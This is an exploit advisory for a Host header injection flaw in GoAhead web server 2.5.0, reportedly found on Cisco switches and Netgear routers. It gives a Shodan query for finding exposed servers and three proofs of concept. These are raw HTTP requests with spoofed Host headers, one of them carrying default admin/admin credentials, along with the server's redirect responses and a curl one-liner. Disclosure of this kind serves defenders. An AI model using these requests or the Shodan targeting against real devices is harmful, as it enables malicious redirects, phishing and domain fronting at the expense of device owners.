# Exploit Title: GoAhead Web server HTTP Header Injection. # Shodan Query: Server: Goahead # Discovered Date: 05/07/2019 # Exploit Author: Ramikan # Vendor Homepage: https://www.embedthis.com/goahead/ # Affected Version: 2.5.0 may be others. # Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers. # Vendor Fix: N/A # CVE : N/A # CVSS v3: N/A # Category: Hardware, Web Apps # Reference : www.fact-in-hack.blogspot.com Vulnerability: Host Header Injection A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras. POC: 1 Request: POST /goform/login HTTP/1.1 Host: myevilwebsite.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 46 Connection: close Referer: https://46725846267.com/login.asp Upgrade-Insecure-Requests: 1 username=admin&password=admin&language=english Response: HTTP/1.0 302 Redirect Server: Goahead/2.5.0 PeerSec-MatrixSSL/3.2.1-OPEN Date: Fri Jul 12 15:28:29 2019 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html This document has moved to a new location. Please update your documents to reflect the new location. POC: 2 Request: POST /config/log_off_page.htm HTTP/1.1 Host: google.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 12344 Content-Type: application/x-www-form-urlencoded Content-Length: 774 Connection: close Upgrade-Insecure-Requests: 1 restoreUrl=&errorCollector=&ModuleTable=OK&rlPhdModuleTable%24VT=OK&rlPhdModuleStackUnit%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleIndex%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleType%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleNumberOfPorts%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&ModuleTable%24endVT=OK&rlPhdModuleStackUnit%24repeat%3F1=1&rlPhdModuleIndex%24repeat%3F1=1&rlPhdModuleType%24repeat%3F1=47&rlPhdModuleNumberOfPorts%24repeat%3F1=28&ModuleTable%24endRepeat%3F1=OK&userName%24query=%24enab15%24&password%24query=admin&x=0&y=0 Response: HTTP/1.1 302 Redirect Server: GoAhead-Webs Date: Sat Oct 14 19:04:59 2006 Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://google.com:443/config/accessnotallowedpage.htm This document has moved to a new location. Please update your documents to reflect the new location. POC: 3 curl -k --header "Host: attacker domain" "victim's url" Initial Investigation: Potentially affected Part of the source code in GoAhead web server is in the ’http.c’ file, which contains 'host' parameter. https://github.com/embedthis/goahead/blob/master/src/http.c